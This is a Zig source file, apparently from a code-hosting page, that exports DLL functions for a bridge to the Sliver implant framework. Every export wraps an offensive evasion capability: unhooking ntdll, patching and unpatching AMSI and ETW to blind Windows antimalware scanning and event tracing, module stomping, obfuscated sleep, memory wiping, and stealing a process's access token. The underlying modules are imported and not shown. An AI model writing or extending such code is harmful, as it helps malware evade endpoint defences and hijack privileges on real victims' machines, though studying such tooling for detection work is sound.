78 lines
1.5 KiB
Zig
78 lines
1.5 KiB
Zig
// DLL exports for the Sliver Go bridge.
|
|
const api = @import("api.zig");
|
|
const syscall = @import("syscall.zig");
|
|
const frames = @import("frames.zig");
|
|
const amsi = @import("amsi.zig");
|
|
const etw = @import("etw.zig");
|
|
const stomp = @import("stomp.zig");
|
|
const sleep = @import("sleep.zig");
|
|
const unhook = @import("unhook.zig");
|
|
const token = @import("token.zig");
|
|
|
|
var g_initialized: bool = false;
|
|
|
|
fn ensure() void {
|
|
if (g_initialized) return;
|
|
g_initialized = true;
|
|
api.ensure();
|
|
_ = syscall.init_syscall();
|
|
frames.init_frames();
|
|
}
|
|
|
|
export fn init_evasion() void {
|
|
ensure();
|
|
}
|
|
|
|
export fn unhook_ntdll() void {
|
|
ensure();
|
|
unhook.unhookNtdll();
|
|
}
|
|
export fn patch_etw() void {
|
|
ensure();
|
|
etw.patch_etw();
|
|
}
|
|
export fn patch_amsi() void {
|
|
ensure();
|
|
amsi.patch_amsi();
|
|
}
|
|
|
|
export fn stomp_evasion(base: ?*anyopaque) void {
|
|
ensure();
|
|
_ = stomp.stomp_module(base);
|
|
}
|
|
|
|
export fn is_relocated() bool {
|
|
return stomp.g_evasion_relocated;
|
|
}
|
|
|
|
export fn init_text_region(base: [*]u8, size: usize) void {
|
|
sleep.init_text_region(base, size);
|
|
}
|
|
|
|
export fn evasion_sleep_inner(ms: u32) void {
|
|
ensure();
|
|
sleep.evasion_sleep(ms);
|
|
}
|
|
|
|
export fn unpatch_amsi() void {
|
|
ensure();
|
|
amsi.unpatch_amsi();
|
|
}
|
|
export fn unpatch_etw() void {
|
|
ensure();
|
|
etw.unpatch_etw();
|
|
}
|
|
|
|
export fn wipe_memory(base: [*]u8, size: usize) void {
|
|
@memset(base[0..size], 0);
|
|
}
|
|
|
|
export fn steal_token(pid: u32) bool {
|
|
ensure();
|
|
return token.stealToken(pid);
|
|
}
|
|
export fn rev2self() bool {
|
|
ensure();
|
|
return token.rev2self();
|
|
}
|